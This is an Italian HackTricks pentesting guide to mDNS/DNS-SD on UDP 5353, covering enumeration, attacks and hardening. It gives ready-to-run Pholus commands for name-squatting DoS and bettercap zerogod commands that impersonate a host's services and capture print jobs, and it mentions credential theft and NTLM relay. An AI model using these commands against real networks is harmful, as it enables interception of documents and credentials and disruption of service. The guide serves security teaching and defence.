5353/UDP Multicast DNS (mDNS) e DNS-SD
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Multicast DNS (mDNS) consente la risoluzione dei nomi e la scoperta dei servizi simile al DNS all'interno di un link locale senza un server DNS unicast. Utilizza UDP/5353 e gli indirizzi multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). La scoperta dei servizi DNS (DNS-SD, tipicamente utilizzata con mDNS) fornisce un modo standardizzato per enumerare e descrivere i servizi tramite record PTR, SRV e TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Dettagli chiave del protocollo che spesso sfrutterai durante gli attacchi:
- I nomi nella zona .local vengono risolti tramite mDNS.
- Il bit QU (Query Unicast) può richiedere risposte unicast anche per domande multicast.
- Le implementazioni dovrebbero ignorare i pacchetti non provenienti dal link locale; alcune stack li accettano ancora.
- La sondatura/annuncio impone nomi unici per host/servizi; interferire qui crea condizioni di DoS/"name squatting".
Modello di servizio DNS-SD
I servizi sono identificati come _
Esplorazione e enumerazione della rete
- scansione target nmap (mDNS diretto su un host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- scoperta broadcast nmap (ascolta il segmento e enumera tutti i tipi/istanze DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Elenca i tipi di servizio
avahi-browse -bt _services._dns-sd._udp
# Sfoglia tutti i servizi e risolvi in host/porta
avahi-browse -art
- Apple dns-sd (macOS):
# Sfoglia tutti i servizi HTTP
dns-sd -B _http._tcp
# Enumera i tipi di servizio
dns-sd -B _services._dns-sd._udp
# Risolvi un'istanza specifica in SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Cattura pacchetti con tshark:
# Cattura live
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Solo query di elenco servizi DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Suggerimento: Alcuni browser/WebRTC utilizzano nomi host mDNS effimeri per mascherare gli IP locali. Se vedi candidati random-UUID.local sulla rete, risolvili con mDNS per passare agli IP locali.
Attacchi
Interferenza nella sondatura dei nomi mDNS (DoS / name squatting)
Durante la fase di sondatura, un host verifica l'unicità del nome. Rispondere con conflitti falsificati costringe a scegliere nuovi nomi o a fallire. Questo può ritardare o impedire la registrazione e la scoperta del servizio.
Esempio con Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Spoofing e impersonificazione del servizio (MitM)
Impersonare i servizi DNS-SD pubblicizzati (stampanti, AirPlay, HTTP, condivisioni di file) per costringere i client a connettersi a te. Questo è particolarmente utile per:
- Catturare documenti spoofando _ipp._tcp o _printer._tcp.
- Attirare i client verso servizi HTTP/HTTPS per raccogliere token/cookie o consegnare payload.
- Combinare con tecniche di relay NTLM quando i client Windows negoziano l'autenticazione con servizi spoofati.
Con il modulo zerogod di bettercap (spoofatore/impersonificatore mDNS/DNS-SD):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Note su problemi di implementazione recenti (utili per DoS/persistenza durante gli ingaggi)
- I bug di crash di Avahi reachable-assertion e D-Bus (2023) possono terminare avahi-daemon su distribuzioni Linux (es. CVE-2023-38469..38473, CVE-2023-1981), interrompendo la scoperta dei servizi sugli host target fino al riavvio.
- Il DoS del gateway mDNS del Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) consente agli attaccanti adiacenti di generare un alto utilizzo della CPU e disconnettere gli AP. Se incontri un gateway mDNS tra VLAN, fai attenzione alla sua stabilità sotto mDNS malformati o ad alta frequenza.
Considerazioni difensive e OPSEC
- Confini di segmento: Non instradare 224.0.0.251/FF02::FB tra zone di sicurezza a meno che un gateway mDNS non sia esplicitamente richiesto. Se devi collegare la scoperta, preferisci le liste di autorizzazione e i limiti di frequenza.
- Endpoint/server Windows:
- Per disabilitare completamente la risoluzione dei nomi tramite mDNS, imposta il valore del registro e riavvia:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In ambienti gestiti, disabilita la regola del firewall di Windows Defender “mDNS (UDP-In)” (almeno sul profilo di dominio) per prevenire l'elaborazione mDNS in entrata mantenendo la funzionalità di home/roaming.
- Su versioni più recenti di Windows 11/temi GPO, utilizza la policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” e impostala su Disabilitato.
- Linux (Avahi):
- Limita la pubblicazione quando non necessaria: imposta
disable-publishing=yes
, e restringi le interfacce conallow-interfaces=
/deny-interfaces=
in/etc/avahi/avahi-daemon.conf
. - Considera
check-response-ttl=yes
e evitaenable-reflector=yes
a meno che non sia strettamente necessario; preferisci le liste di autorizzazionereflect-filters=
quando rifletti. - macOS: Limita l'mDNS in entrata nei firewall host/rete quando la scoperta Bonjour non è necessaria per subnet specifiche.
- Monitoraggio: Allerta su picchi insoliti nelle query
_services._dns-sd._udp.local
o cambiamenti improvvisi in SRV/TXT di servizi critici; questi sono indicatori di spoofing o impersonificazione del servizio.
Riferimenti rapidi agli strumenti
- nmap NSE:
dns-service-discovery
ebroadcast-dns-service-discovery
. - Pholus: scansione attiva, sweep mDNS inversi, helper per DoS e spoofing.
# Sniffing passivo (secondi di timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerare i tipi di servizio
sudo python3 pholus3.py <iface> -sscan
# Inviare richieste mDNS generiche
sudo python3 pholus3.py <iface> --request
# Sweep mDNS inverso di una subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: scoprire, salvare, pubblicizzare e impersonare servizi mDNS/DNS-SD (vedi esempi sopra).
Spoofing/MitM
L'attacco più interessante che puoi eseguire su questo servizio è effettuare un MitM nella comunicazione tra il client e il server reale. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o anche credenziali (autenticazione Windows).
Per ulteriori informazioni controlla:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Riferimenti
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.